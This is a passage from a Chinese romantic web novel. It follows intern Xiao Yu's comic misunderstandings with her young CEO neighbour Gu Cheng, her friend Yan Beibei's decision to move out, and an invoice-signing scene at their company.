顾程其实并没有认出她来,只是被她惊惧的表情反吓了一跳。可现在一听到‘跟踪’两个字,他眉心登时蹙起,疑惑地问道,“肖瑜?”
想他顾程二十七年声清誉白,一个误会就被这个叫肖瑜的拜金肿眼泡给泼了满身污水,变态、老男人、跟踪狂……
啧,这辈子想把这名字忘了都很难。
可他又凝眉仔细看了看眼前的肖瑜,更加奇怪地问道,“你在这儿做什么?”
18. 第 18 章
第十八章
一个女大学生,大晚上出现在泽城顶级公寓,不免令人多想。何况她今天不仅不是肿眼泡,跟第一次见到时头发丝丝缕缕都是水的狼狈也完全不同。
眼前的她五官精致,眼眸清澈,不再惊恐的小脸看起来乖乖的,很纯很娇美。身上的大衣,也不再是粉白色可爱系的学生款。深咖色羊绒大衣搭着她微卷的栗色发尾,更像是准备开始走轻熟路线。
要不是那句‘跟踪’,他还真是面对面都认不出这个拜金肿眼泡。
“我……”肖瑜瞥一眼已经被他摁下的顶层数字,到底还是有些警惕地没直接告诉他自己住在这里,只是很含糊地应道,“嗯,我来……来找个朋友玩。”
顾程挑了下眉,十分克制地没有在语调中流露任何情绪,“几楼?”
“嗯……”肖瑜又看一眼那几排数字,嗫嚅道,“好像也是,顶层?”
顾程深吸一口气,觉得再继续克制自己的语气有点难。他斜睨着她,轻嗤道,“我不记得自己预订过上.门.服务。”
“……”肖瑜放在挎包上的手指紧了紧,瞅了眼他的行李箱,声若细蚊,“一层两套房,我又不是去你家。”
泽鼎的电梯设计很简单,两侧自动门开,一面只有一套房,互不打扰,隐秘性很好。
说话间,顶层已至,可不同于平日到了自己的楼层,这电梯门居然只有一边会自动打开。
肖瑜抬眼瞄了瞄凉凉看着自己不说话的顾总,挤出一个客气的笑,率先走了出去。
她们的楼层是有隔断的,入眼是自家的室外储物柜和鞋柜,连着电梯那道墙直抵单门楼梯间,跟对面邻居完全分隔。然而这一层,压根没有隔断墙,竟然是独门独户!
肖瑜又讪讪地走回电梯,只见顾程的指尖一直摁着开门键,正满眼不耐看着她。她咽了下嗓子,继续缩去电梯的角落,“我……第一次来,可能是……走错楼道了。顾总您走好,顾总再见。”
*
热水澡淋去满身疲惫,顾程穿起浴袍来到阳台,拨了电话给堂弟顾明。
震天响的舞曲声中,顾明高亢的大嗓门喊过来,“二哥,菲菲就喝了两杯,没醉,我保证十一点之前送她回去。”
“让她回去的时候声音小点。”顾程皱着眉把手机拉远,只拿嘴对着话筒,“爸妈应该已经睡下了,别吵到他们。”
“好嘞!”
放下手机转了身,不期然瞥到斜下方一抹暖暖的桔光,他愣了一下,眼眸微微眯起。
右侧低他一层的阳台,此前一直空置。然而现在,一个贼头贼脑的身影,探出头来朝他的方向看看,停顿片刻往前走两步,又赶紧缩回去恰好被房檐遮住。过不多会儿,又探出头来再往前走两步,然后又缩回去。来来回回好几次,她才偷摸地拿了个粉色的抱枕抱在胸前,放心大胆地朝他的方向一直盯着看。
顾程下意识看了眼面前的玻璃,角落处‘防晒防偷窥’的标志还没揭,莫名觉得有些安心。
*
肖瑜的心里有点忐忑。
虽说此前打过几次照面,可以确定那个顾总并不是跟踪狂,也是个有声望有地位、专情于初恋的人。可是不管当初摇一摇摇出来个他,在咖啡店里莫名其妙因为手机争执,还是如今在电梯里都能巧遇,她总觉得有点太过巧合,巧合得一点都不像是巧合,反而更像早有预谋。
所以她今天一进家门就上了两道锁,又拨了电话跟父母聊着天,检查了屋里每一个角落,确信没有任何奇奇怪怪的设备,才舒口气来到阳台上,打算好好研究一下他那个楼层的视野。
顶层独门独户,想来那一圈落地窗和阳台都属于他。不过她悄悄观察了很久,也许是因为独占整个楼层面积太大,又是环形,靠近她居所这一侧,一直都没有灯光,也没有人影。或许,他更习惯住在另一边吧?
燕北北跟她打过电话,晚上跟奶味儿吃过饭还要出去跳舞,一时半会估计是回不来。而确认了一切安全后,肖瑜也没在电话里多说,只是解开了双道锁,抱起笔记本,窝进阳台的沙发上,一边喝牛奶,一边开始更新新文。
新坑一开始就呼啦啦更新了好几章,加上存稿箱里的,不急不赶,肖瑜很舒适。
要不人说,情场失意,职场得意。不再处心积虑追着姜昊跑,不再搜肠刮肚为他写情书,如今她的时间多多的,文思如泉涌,效率简直高得不得了。
*
不知不觉,顾程已经在阳台上站了大半天。
看到那个抱着电脑敲键盘,一会儿哭着抹眼睛,一会儿哈哈哈笑得前仰后合,甚至还要拿拳头捶沙发的女人,不,神经病,终于不再癫狂,而是安安静静一手滑鼠标,一手端起牛奶往嘴里送,他深呼吸了一下,也不知道是舒了口气,还是叹了口气,也去厨房热一杯牛奶,揉着眉心回了卧室。
他原本只是有点好奇,想看看约她上.门.服务的男人,他会不会碰巧认识。可等来等去没等到男人,却只看到了一个他完全不能理解的神经女人。
或许,那个开迈巴赫、爱喝名酒、戴百达翡丽限量款的男人,临时来不了,所以,这个拜金肿眼泡才会这么癫。
*
次日一大早,肖瑜打着呵欠打开卧室门,客厅里一个高高大大的身影,吓得她尖叫一声,呵欠憋回肚子,直接憋出了满眼雾气。
顾程也很郁闷地拧眉看看她,朝燕北北的卧室歪了下头,“我来带菲菲回去。”
肖瑜受的惊吓不小,完全反应不过来,边往卧室退,边结结巴巴问道,“你,你,你是怎么进来的?”
“当然是从大门进来的。”顾程一看到她防自己就像防变态一样的神情就不爽。他很不客气地坐去沙发,环顾四周后调整了下心情,才淡淡问道,“我妹妹说你跟燕北北在华驰实习,所以才会就近租下这套房?”
肖瑜仍然感觉像在做梦,她伸手在脸上拍了好几下,还是决定先不要理他,连忙又去拍燕北北的房门。
“马上马上,就好了。”
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>“哥,你别急,我很快的。我不化妆不能见人的,你等一下嘛!”
里面传来两道声音,一个是燕北北,另一个,应该就是顾菲。
肖瑜这才魂归原位舒了口气,有点不好意思地朝顾总说道,“吓我一跳,我还以为你……”
“嗯?”顾程一挑眉。
肖瑜立刻把剩下的话吞回去,还伸手捂了下嘴,然后才问,“你要喝点水吗?”
顾程摇头说了句谢谢,这才缓了神色,继续问道,“所以你们真的在华驰实习?哪个部门?”
肖瑜也不知道燕北北跟顾菲交了多少底,她甚至连昨晚这俩人怎么会一起回来、什么时候进的门都不知道,只好敷衍地应道,“就总部啊。顾总对华驰也很熟悉吗?”
顾程似乎怔了一下,又看了她一眼,收回视线点点头,“嗯。本地企业。实习有一周了吧?感觉怎么样?”
他这话问得突然,一时让人有种大哥哥关心小妹妹的错觉。肖瑜虽有点诧异,还是很诚恳地笑道,“感觉挺不错的。福利待遇很好,同事们也都很好。实习期能在这样的单位度过,我觉得很幸运。”
“想留下来,还是要努力。”顾程见她说得恳切,嗓音也温润几分,甚至还有了清浅的笑意,“这两年就业形势不太乐观,华驰现在虽然还不是行业翘楚,可也只是在等待厚积薄发的机会。几年之后,员工待遇一定比现在更好,所以一定要好好把握机会。”
“嗯。”自打相识,肖瑜还是第一次觉得跟这位顾总可以正常交流。她朝他笑了笑,舒了口气,“我只求能顺利拿到实习报告好毕业,但这毕竟是我第一个雇主,我真的很希望将来有一天,跟别人说起我曾经实习过的地方,会特别自豪。”
顾程闻言瞥她一眼,嗓音一下冷了下来,“所以其实,你并不打算毕业后继续在华驰工作?”
“嗯。我要回家啊。”肖瑜觉得这个男人有点像个变频空调,还是个全自动不受控的,不由莫名奇妙地应道,“没有人规定实习了就必须一直做下去吧?”
“华驰怎么会招进你这样的实习生?简直浪费资源。”顾程眉心拧成一团,继而又抬眼看了看装修豪华的房间,唇角的笑意有些讥诮,“也是。别说实习生,就连企业高管,想租下这套房也得仔细掂量掂量。小庙供不起大神,你下周一不用去了。”
“……”肖瑜有点懵,满脑子问号,看神经病一样看着顾程,“不用去哪儿?实习?你管得着我吗?”
简直莫名其妙。
一声轻响,燕北北的卧室门终于开了,打断了沙发上两个人不怎么和谐的氛围。
她来到肖瑜面前,扯扯她的胳膊示意她站起来,毕恭毕敬朝沙发上神色不虞的男人说道,“顾总,要说我们可真是太有缘了。上回在咖啡厅让您见笑了,没想到现在有幸成为您领导下的兵,而且大家还做了邻居,以后还请您多多指教。”
肖瑜的眼睛眨了眨,看看依旧拧着眉的顾总,又看看燕北北,气若游丝地问道,“他叫顾程啊?”
19. 第 19 章
第十九章
顾程凉飕飕瞥她一眼。
燕北北又扯一下她的胳膊,佯怒道,“不懂事。以前大家不熟的时候,还叫着顾总呢。现在这都是咱们大BOSS了,怎么可以直呼名字啊?快叫顾总。”
公司简介上的确有大老板顾程的名字,可是没照片。而且大家在单位提起他,也都是老总老总的叫,肖瑜压根没把想象中白胡子老头一样的老总,和眼前这个不到三十岁的顾总联系到一起。
想起刚才那段对话,肖瑜有点欲哭无泪。可她到底是擅长瞎编乱造写小说的,咽了几下嗓子,干干地笑道,“顾总,其实我刚才那么跟您说,是有苦衷的……”
燕北北不知道俩人说过些什么,可看顾程的脸色和肖瑜忐忑的模样,也不禁有点紧张。
天知道她们竟会跟华驰的总裁有这么一段孽缘,要知道当时在咖啡厅里,可是她燕北北打电话要警察来抓变态的。
顾程的目光在两个女孩子面上转了转,朝肖瑜扬了扬下巴,“编一个苦衷我先听听。”
“……”肖瑜的嘴角抽了抽,双手扭在一处,有点不好意思地说道,“是这样的……在单位听别人提到您,都叫的老总,但是你这么年轻,我从来也没把您跟老总联想到一处。”
“呵。”顾程嗤笑一声,想起她对他的第一印象——变态‘老’男人。
这时顾菲也化了全妆从卧室里走出来,原本就有点忐忑的小脸,在见到自家哥哥端起架子时,不禁越发忐忑。她蹑手蹑脚走去顾程身边站好,不明所以地看着肖瑜和燕北北,一时没敢开口嬉笑。
肖瑜又吞了下口水,深吸一口气,壮士断臂般挺了挺胸膛,“顾总,毕竟您先骗了我蛋糕,又想诓我手机,我对你一直都是很警惕的……”
她越说,顾程脸色越黑。
连燕北北都忍不住又伸手扯了下她的胳膊,可肖瑜还是理直气壮地继续说道,“而且你看,昨晚我们又那么巧进了同一趟电梯,今天刚睡醒,你居然还站在我一个单身女孩子的屋里。我真的差点以为你千方百计、用尽手段、绞尽脑汁、处心积虑地想……”
肖瑜顶着顾程恨不得削她的眼神,咳了一下,继续,“想……骚扰我。所以……昨晚你问我,我都没敢告诉你我住在这里。今天你问我,我也以为,你还想跟到我的实习单位继续骚扰我。所以我才会跟你说我实习完就要离开,因为我怕啊,怕你以为我会一直待在华驰,再布个局,长期骚扰我怎么办?其实我很想为华驰奉献我的整个青春,但面对一个可能是变态的……”
“够了。”顾程忍无可忍,再听下去简直要脑充血。他低斥一声握了握十指,咬着牙起身深深吸了一口气,又缓缓呼出来,低下头目不转睛盯着她,“你开个价。蛋糕手机、骚扰什么的,以后一个字不准再提。”
“我周一还想去实习……”肖瑜立马乖得像个小兔子,睁着一双水汪汪的大眼睛,也目不转睛回视着他,嗓音都软了下去,“顾总,我错了,我以后再也不提了。”
四目相望,在彼此眸中映出神色迥异的面容。
不知是肖瑜的示弱太突然,还是她撒娇般的哀求太柔软,抑或只是那双眸子看起来太无辜,顾程怔了一下,继而一脸厌弃地转头挪开了视线,“好好说话。”
“……”
肖瑜莫名其妙地看向燕北北,她也是一脸茫然地看着她。两个人都在彼此眼中看到了同样的疑问,‘这还不算好好说话吗?’
而顾菲在侧看了看自己的哥哥,又看看肖瑜,忍不住满眼兴奋地叫道,“肖瑜你真牛,居然把我哥搞害羞了!”
一句话如平地炸雷。
可肖瑜和燕北北都还正在怀疑自己的耳朵,顾程已经转身揪起顾菲的胳膊,低斥着她向大门走去,“你是玩了一夜眼睛也玩得不好使了吗?胡说什么?顾菲,都敢夜不归宿了是吧,还跟顾明说你是来我这儿……”
*
“害羞?他?”
“啊哈哈……哈,小声点!”
“对对,别被听到了,哈哈哈……”
顾程兄妹两个刚出门,肖瑜和燕北北乐不可支倒在沙发上一顿笑。
这顾菲可真是个活宝。刚才那种剑拔弩张的情况下,居然还能把顾程黑成锅底的脸描述成害羞,一下就缓和了气氛,简直天生的社牛。
而待肖瑜也换了衣服,跟燕北北两个去楼下的咖啡厅吃上早餐,轻笑相谈中,她这才对昨夜的情况有所了解。
原本燕北北跟刘明坤他们去跳舞也是临时起意,哪知会遇到跟堂兄妹一起狂嗨的顾菲。难言的缘分让两个女孩子兴奋得恨不得当场拜把子,玩到午夜都舍不得分开。
顾明因为答应过顾程要把顾菲送回老宅,可眼瞅着时间一分一秒的过去,顾菲怎么拽都拽不走,得知燕北北跟肖瑜竟也住在泽鼎,几个人商量了一下,顾明干脆就让顾菲他们嗨到底,完了一起送回泽鼎。
不过俩人责任也划分的很清楚,顾程要骂的人只能是顾菲。毕竟他们家这个二哥凶起来可是六亲不认,特别是阴沉沉盯着人看的时候,顾明想起来就头皮发麻。
“你说咱俩跟他们兄妹还真是有缘。”燕北北十分感慨地说道,“当时我就随口跟菲菲提了一嘴,说咱俩现在开始实习了,她也随口问了问在哪儿。没想到竟然是在她亲哥的手下实习。啧,电视剧都不敢这么演。”
“戏如人生,人生如戏啊。我昨晚在电梯里遇到顾总的时候,也觉得巧得不可思议。”肖瑜干掉了一个羊角包,一边喝咖啡,一边眼眸晶亮地瞅着燕北北,“奶味儿拿下了吗?细节?”
“一天天搁别人身上找灵感,你自己也赶紧去谈一个啊。”燕北北埋汰地嗔她一眼,悄声笑道,“我看那个专情还会害羞的顾总就不错,你去追他,拿下之后你就是我的老板娘了。”
“去你的。”肖瑜翻了个大白眼,催促道,“讲讲啊,你们俩什么情况。”
“能有什么情况,我就说他还一股男大的味儿,又纯又涩。”说起刘明坤,燕北北有几分气馁地撇了下嘴,“我就喊他吃个晚饭,防我跟防贼似的,非要把一起来实习的那几个都喊上。”
“那后来呢?跳舞的时候也全都去了吗?”肖瑜眨巴着眼睛点点头,继续追问,“有没有点什么小暧昧?壁咚,掐脖吻之类的?”
“壁什么咚,掐什么脖啊,我想拉他去跳舞的时候,人小手都不让碰一下。”燕北北郁闷地哼了哼,继而犹豫了一下,还是拉起肖瑜的手说道,“亲爱的,我可不是见色忘义。不过,我们几个,就一起来的这几个,约好了下午会一起去看房子。你想陪我去吗?”
“房子?”肖瑜愣了一下,没反应过来,“看什么房子?”
“我们想合租一套离单位近一点的房子。”燕北北咬了下唇,因着肖瑜有点失落的神色,握紧了她的手,“小鱼儿,我们是最好的朋友。我很重视这份友情,所以,我希望我们的友情可以一直延续下去。”
“跟我住就不能延续友情了吗?”肖瑜扁了下嘴,眼睛里都是不舍,“我不明白。”
“我们现在不是在大学里,而是已经真正走上社会了。”燕北北很认真地看着她,“大学里,我们之间的差异被校园同化,交一样的学费,住同一间寝室,一起去食堂打饭,周末出去玩,逛相同的店,买差不多的衣服,我们的三观很近,感情很好,这是事实。可出了校园……肖瑜,我的实习机会是你家帮我争取的,我已经很感激了。可其他的事,我不能再依附着你,占你便宜,不然我们的友情总有一天会变味,会不再纯
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粹。”
“我从来没觉得你占我便宜。”肖瑜心里一酸,一双眼睛都开始起了雾,“北北,我也从未觉得你依附过我什么,从来没有。”
“我知道你没有。”燕北北眼睛也酸酸的,她扯起唇角笑了笑,安慰地拍着肖瑜的手,“可肖瑜,现实就是现实。最近我也听同事提过,泽鼎的房子,别说这套两居室,就算是一居,普通上班族三个月工资也付不起一个月房租。更别说晚饭,还有周末的一日三餐,我们都是在外边解决。由奢入俭难,如果一直放任自己过着这种不属于我的生活,实习过后,等你回了家,我会很难回到真正属于自己的世界。你明白吗?”
肖瑜垂下眼眸。
她知道燕北北说的都是对的,也是因为燕北北一直以来洒脱自由又独立的性格,她才会从大学伊始,就深深被她吸引,将她视为除了姜昊外,最珍视的朋友。
象牙塔内,有欢乐也有眼泪,但至少他们都在身边。可只是刚刚踏入社会,姜昊为了家族财产远赴他国,如今就连燕北北,也因为各种现实因素,都不再跟她朝夕相处。
看到肖瑜的唇角撇了撇,燕北北也很不是滋味地红了眼眶,搓着她的手劝道,“只是不在一起住,平时上班还要天天见面,下班放假我们也都还要一起玩的啊。小鱼儿,房子没那么好找的,我还会再烦你一阵子的。”
因为珍视,所以尊重。
肖瑜嘟着嘴抹了下眼睛,抽出手,在她手背上打了一下,“你就是见色忘义,你肯定是想近水楼台先得月,早点睡了奶味儿。”
“这都被你发现了啊?”见她开始调侃自己,燕北北也笑了,挑眉贼兮兮说道,“我赌他还是个雏儿。”
“你怎么这么色。”肖瑜横她一眼,却又忍不住也贼兮兮悄声问道,“从哪儿能看出来啊?”
*
两个女孩子吃完早饭,因着燕北北可能很快就要搬出去,俩人回家歇了会,便换上泳衣,拿了换洗衣物,打算在燕北北离开前,把健身房、游泳池还有电影院这些娱乐设备好好利用个遍。
而公寓顶层,顾菲一边哭着剥洋葱,一边吸溜着鼻子埋怨,“哥,我化了半小时的妆,你就这么对我。你又不吃洋葱,家里买这么多洋葱干嘛啊。”
“不喜欢吃,不影响我喜欢看你剥。”顾程端着咖啡靠在吧台,漫不经心地应着,“你才跟她们俩认识几天?就敢住别人家里?都不怕屋里有不三不四的男人吗?”
“怎么可能。”顾菲抽着鼻子,不满道,“北北单身你知道的啊,新看上的男人一直跟我们一起在外边玩呢。她说肖瑜更是乖得很,从不喝酒也不去夜场,而且她喜欢的男人刚出国,心里难受着呢,根本不可能有别的男人在。”
“乖?”顾程轻嗤,放下咖啡走过去,又递给她一颗洋葱,“她说你就信?你是被燕北北迷了眼。菲菲,交朋友可以,但不要急着交心,更不能别人说什么你就信什么。她们俩刚开始实习,哪来的收入租得起这里?你想过吗?”
顾菲拧着脖子跟他犟,“就不能是人家家里也很有钱吗?”
“家里有钱的女孩子,会因为两千块钱,随随便便就跟摇一摇摇出来的陌生人见面?”顾程越发不屑地冷笑一声,恨铁不成钢地低斥道,“你就是自小被宠坏了,不知人心隔张皮。”
顾菲提起这茬就更郁闷了,嘟囔着说道,“你们宠我吗?根本没有!北北说,这房子是肖瑜爸妈找的,就为了让人家的宝贝女儿离实习单位近点。哪儿像我,又不是穷光蛋,可上学住家里,实习在家里,到现在都不让我出去住,一天天的非让我住家里,不是爸妈看着,就是你看着……我什么时候才能独立啊!”
“肖......”顾程因她的话微微一愣,立刻问道,“肖瑜是哪里人?”
20. 第 20 章
第二十章
“我没问。”顾菲嘟着个嘴,放下洋葱,小心翼翼往他身边蹭,“哥,你想知道的话,我现在就去找她问啊!哥,我不想剥了……”
“我用你问?”顾程低哼一声,一边低头给助理发信息,一边不咸不淡地说道,“剥完洋葱切辣椒,冰箱那袋绿的。”
“哥!”顾菲郁闷极了,两手狠狠一甩,破罐子破摔般跺了跺脚,“我都没有自尊的吗?我怒了,不切。”
“不切拉倒。”顾程发完了短信,也不多问,连头都没抬,直接拨了个电话给父亲,“爸,您和妈今儿休息过来了么?其实昨天晚上菲……”
“哥!哥,我切,我切!”顾菲见他来真的,恨不得原地给跪了,连忙一溜小跑去冰箱拿了袋辣椒过来,抽着鼻子说道,“哥我错了,我再也不敢了。”
“呵,爸,你们歇过来就好,我昨天也累得够呛。明年咱们去个近点儿的。”顾程这才淡淡挂着笑意,继续说道,“您和妈别担心,其实菲菲昨天晚上的确来泽鼎了。这会儿正在帮我切辣椒,很乖。”
他放下电话,顾菲一整个敢怒不敢言,老老实实剥完洋葱切辣椒,把个粉扑扑的小脸蛋硬生生搞得泪流满面。
她这个月的信用卡已经刷了几十万,顾程停她的卡、不给她还钱她不怕,反正都是他的附属卡。可要是连老爸都给得罪了,下个月真喝西北风吗?
还有他这个七窍玲珑心的亲哥哥。什么叫的确来泽鼎了?!这明明就是要她知道,话没说死,你敢蹦跶,我就敢说你夜不归宿,来了泽鼎却住了别人家!
卑鄙得很。
*
下午肖瑜陪燕北北他们一起去看房子,老旧的街道一条条走过,简陋的居室一间间看过。尽管穿的是球鞋,也累得脚底发疼。
而傍晚几个人一起凑在小馆子里吃着饭,看到他们兴高采烈地憧憬着实习期过后,可以留在这个繁华的大城市打拼,肖瑜也跟着笑了起来,可内心却不免有几分迷茫。
那些出租房,不管位置还是装修,跟泽鼎相比都像是来自两个世界,有的条件甚至还比不上大学宿舍。可就连这样,同来的实习生们也都不以为意,因为他们都坚信可以通过自己的努力,以陋室为起点,终有一日能奋斗出属于自己的一片天,在这个城市立足。
而她,轻轻松松就站在他们的终点。以前的目标是毕了业就嫁给姜昊,为他生儿育女,跟他夫妻相随。如今姜昊走了,她有父母庇护,毕业也肯定水到渠成。可之后呢?
她从来没有想过。
因为曾经在她的世界里,除了家人,只有姜昊。
燕北北正跟几个人兴高采烈地聊着天,转眸看到肖瑜咬着筷子看着面前的毛血旺发呆,她正想开口问她怎么了,坐在身侧的刘明坤已经起了身,在众人不解的目光中,拿桌子正中的清炒虾仁换跟毛血旺换了位置。
他另一边坐的是张弛,实习生中唯二的另一个男生。见状他坏笑着瞥了眼刘明坤,貌似不解地问道,“哎?干嘛突然换菜啊?换就换了,怎么把大菜从肖瑜面前换走了?人肖瑜惹你了啊?”
肖瑜也有点莫名巧妙地看着刘明坤,而燕北北则挑眉看了眼刘明坤,放下了筷子。
“我看肖瑜都不怎么吃辣。”刘明坤谁也没看,耳根却悄悄红了起来,他垂下眼眸,给自己、燕北北和肖瑜的杯子里都添着酸奶,似乎很随意地说道,“而且大菜放在中间,大家吃起来方便。”
肖瑜听了,下意识想说句谢谢。可嘴巴张开,看到刘明坤红透的耳廓,她忽然想起早上燕北北跟她说,她怀疑奶味儿还未经人事,是因为他一害羞耳朵就会红。
她连忙又去看燕北北,见燕北北正意味深长地看着她,她咽了下嗓子,连忙说道,“谢谢。我不吃辣,对的,我男朋友不让我吃辣。”
“肖瑜,你有男朋友啊?”对面几个女孩子一听就笑了,其中有个叫陈茜的,好奇地问道,“你男朋友平时管很严吗?怎么连吃不吃辣都要管。”
肖瑜看一眼差点要翻白眼的燕北北,信口胡诌道,“很严,因为吃辣对皮肤不好,他不喜欢我脸上出痘痘。”
陈茜跟另外几个女孩子相视一眼,彼此都会意地笑了笑,她又趁机问道,“怪不得你保养得这么好,皮肤嫩得像能掐出水。那你男朋友工作了吗?很忙吗?周末怎么也不陪你。”
同来实习这几个,昨晚一起玩的时候,相互间都有了基本的了解,只有肖瑜,还像一张白纸,而且还有点说不出的神秘。
肖瑜话都说出去了,自然做戏做全套,她瞅着眼里都是揶揄的燕北北,笑道,“嗯,他的确很忙,但一有时间就会过来陪我,北北见过的。”
一句话就让几个女孩子把焦点转向了燕北北,都忍不住好奇地问,“你见过肖瑜的男朋友啊?长什么样?是不是很帅?”
“高富帅是必须的。”燕北北看着肖瑜,眼睛里是只有她俩能意会的怜惜,“重点是对我们肖瑜一心一意,宠她疼她,懂她的好。含在嘴里怕化了,放在手心怕飞了,丁点不舍得让她哭,宝贝一样惯着她。”
“啊……真有这样的男朋友啊,好羡慕。”
“是啊,什么时候有机会,带出来一起玩啊?我都不敢信现实里有这样的。”
燕北北说完,几个女孩子立刻叽叽喳喳讨论起来,又羡慕,又好奇。
刘明坤自打肖瑜提起自己有男朋友,就一句话都再没说过,目光也没再往她身上停一下。
而肖瑜初时因为燕北北言语中暗含的祝福,心里暖暖的,也酸酸的。
可吃饭完临到进了公寓电梯,她才忽然挤了下眉,掐了掐燕北北的胳膊,“你说的那个人......那不就是我爸爸吗!?”
*
周日燕北北他们又出去看房子,肖瑜没有再跟着去。晚上听说几个人已经选定了一套,下周三签了约就可以搬进去,许是近来接连面对现实,让肖瑜的承受能力也变强了。她没有如同刚刚听说时那么难过不舍,反而开始积极地帮她一起收拾行囊,只是坚持接下来几日两个人的餐饮不许燕北北再自掏腰包。
好在燕北北只在这儿住了一周,除了日用品还有很多东西都在行李箱,压根没拆过。收拾了一阵子去阳台坐着休息,肖瑜喝着牛奶,想了想,还是跟燕北北说道,“北北,我听说只有大概一半的实习生可以留下来。你知道吗?”
“嗯。”燕北北轻轻叹了口气,笑道,“大家心里都有数,能得到实习机会的,除了你我,都不是什么傻白甜。”
“难道我们是啊?”肖瑜不乐意地横她一眼。燕北北忍俊不禁,“当然不是,我可不是,只有你是。”
“去你的。我跟你说正事儿呢。”肖瑜挤了眉,有点踌躇地说道,“那万一以后,要是你跟奶味儿成了竞争关系,怎么办?”
“那就竞争啊。”燕北北很随意地应道,“他也不是傻白甜,这几天处下来,我发现他可能真不是我第一眼想象的那么单纯。”
“嗯?是有什么情况吗?
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”肖瑜一下来了劲,很期待地看着她。
燕北北撇了下嘴,唇角的笑有几分不屑,“上回你也看出来了,他应该是对你有那么点意思,可你说了有男朋友,他就像是转头把这事儿忘了。现在想想,周五我约他吃饭,他坚持要叫上所有人,可能根本不是害羞,而是想通过我接触你。昨天我们去看房,听着像是很随意,可话里话外又在打听菲菲。重点是,我撩他,他看着挺害羞,可也没把话说死过。我觉着我可能看错他了,这说不好是个养鱼专业户,兴许比赵成杰那个王八蛋还渣。”
肖瑜听得有点意外,不解地问道,“可上次我也看到他耳朵红了。你不是说这样的,一看就是雏儿吗?”
“你还真信啊?”燕北北挠她一下,笑得乐不可支,“我也就经历过那一个渣男,哪儿那么多经验,胡诌的。你啊,那么好奇你自己去试试啊。”
“你这个骗子!”肖瑜也回手去挠她,两个人闹了一阵子,她才好奇地问道,“那你对奶味儿还会有想法吗?”
“有啊,他的皮囊很对我胃口。”燕北北挑了下眉,半分惆怅半分霸气地说道,“第一次给了渣男,还能有比这更让人接受不了的吗?以后遇到对的人,姐就好好疼他,遇到渣的,姐就好好玩他。反正姐现在想通了,姐的目标是事业,男人只是路上的风景罢了。小鱼儿,你瞅着,二十年后我肯定能当上CFO。”
“鼓掌鼓掌!”肖瑜被她举着热巧霸气冲天的模样逗得不行,一边拍手一边笑道,“下篇文我想好了,就写霸气御姐燕北北!二十年后,我一定送你一份大礼,祝贺我们的CFO燕得偿所愿!”
*
新的一天,肖瑜和燕北北神清气爽到单位食堂吃了早饭,便投入到忙碌的工作中去。
早上遇到同来用餐的刘明坤,他依旧是腼腆客气的模样,果然如燕北北所说,看到肖瑜她们的时候笑微微打了招呼,耳朵没再红,好像可以自主控制一样,倒让肖瑜她们两个又偷笑着口嗨了一遍。
肖瑜虽然没有留在泽城的打算,但该做的事情都很认真负责。她周末已经接到了陆洋发来的照片,在公共税务系统里审查了一遍发票开具单位的范围。是以一早到了工位,便立刻给陆洋打了电话,可听闻他已经在过来总部的路上,肖瑜心头一跳,不由想起了十九层的那位老总。
看样子,那个陈总还是很着急报账,万一真的需要找他签字,恐怕少不了又要看顿脸色。
“这几张单子待会儿一起拿过去吧。”肖瑜还在郁闷,周美茗慢吞吞走过来,有些同情地看着她,递来一叠票据,“陆洋是不是又要过来催?他们那个陈总想一出是一出的,惯不了一点。”
肖瑜把票接过来,问道,“美茗姐,这些报账员都接受过培训吗?我上次检查了他们的票,问题很多。”
“报账一直都只是额外的任务,不在他们本职范围,所以培训完也没人真的往心里记。”周美茗漫不经心地应道,“这些都审完了,因为数额超出了权限,得老总最后签字。待会儿陆洋的送来后,一起拿上去吧。”
*
“都审完了,签完了?”
第一次到华驰老总的办公层,肖瑜在等候室坐了好半天,才有一个看起来几分面熟的美女过来叫她,一边往顾程的办公室引,一边有些不解地说道,“平时不是计财部过来人签字吗?你这是需要特批的吗?”
“嗯。”肖瑜一遍又一遍看她,忽然想起来,惊喜地说道,“秘书,秘书姐姐?我是肖瑜啊。”
21. 第 21 章
第二十一章
刘娜凝眉思索片刻,也恍然大悟地看着她,有几分诧异,“你是A大那个大学生?”
眼前的女孩子眉眼间学生气很足,虽然漂亮但很青涩,可一身剪裁合体的通勤套裙又曲线尽显,让她多了些矛盾的职场气质。总之,跟上次给她送生日礼物时给人的感觉,判若两人。
刘娜有点疑惑,可职业素养令她并没有多问什么,只是因想起最近看到的一篇网文,不动声色地勾了下唇角,轻轻叩了叩顾程的办公室,“顾总,肖瑜过来找您签字。”
“为什人你可以叫顾总,可我们就得叫老总?”肖瑜是真的不明白。
刘娜还不大确定这个肖瑜跟顶头上司的关系,不过见她问的也不是什么秘密,便耐心解释道,“因为采购部还有一个总经理也姓顾。下面的人一般直接叫老总,只是为了区分开。总裁办只对顾总一个人负责,所以不会混淆。”
“原来是这样。”肖瑜恍然大悟,很感激地朝李娜点点头,“谢谢您秘书姐姐。”
“叫我娜姐吧。我叫刘娜。”刘娜说着,听到里面响起顾程一声“进来”,她轻笑着推开门让肖瑜进去,顺手掩上了门。
顾程身侧,还站了一个看起来跟他年纪差不多的男人,许是两人刚聊完什么好玩的事情,那人唇角还挂着痞痞的笑意。
肖瑜看一眼男人插在裤兜里的双手,再次看向他的面颊时,眸子里泛起一丝异样的光。
那男人是顾程的助理,安祈攸。虽说模样也很周正,可他还是第一次看到有女孩子,在顾程面前还会对自己流露出惊艳的眼神。
安祈攸轻咳一声,低头看到顾程递来疑惑的目光,忍不住不自在地把双手从裤兜里放出来,毕恭毕敬敛了笑。
“他是安祈攸,我的助理。”顾程这才回过头来,淡淡看向肖瑜,“今年二十八。”
“......”安祈攸有点莫名巧妙。就算这姑娘是肖远舟的女儿,有必要一见面就介绍自己的年龄吗?难道,顾总是准备让他......他心里一惊,越发不自在地又咳了一声,连忙说道,“顾总,我有女朋友了。”
眼见肖瑜的目光转瞬黯淡下来,顾程皱了下眉,拿食指扣了扣桌面,“票呢?”
肖瑜连忙上前把一叠票据放他桌上,小心地解释道,“对不起老总,我对制度流程还不熟悉,西郊这个月的额度没有加总,有四千多超出计划,请您特批。下个月我保证不会犯相同的错误。”
“你是怎么答应我的?”顾程低下头,修长的指节一张张翻过成叠的票据,“以后还叫顾总。别让我听见‘老’字再从你那张嘴里说出来。”
一听见她这个‘老’字,就想起变态老男人,整个人都不怎么舒坦。
安祈攸看一眼最喜欢被人夸‘老成持重’的顾程,嘴角忍不住向下抽了抽。
肖瑜的唇角也撇了撇,很乖巧地没再吱声,只是期待地看着顾程的指尖。
可顾程并没有提笔就签,反而拧着眉把票往前推理了推,抬起头来却又舒展了眉目,“你凭什么觉得自己比别人特殊?”
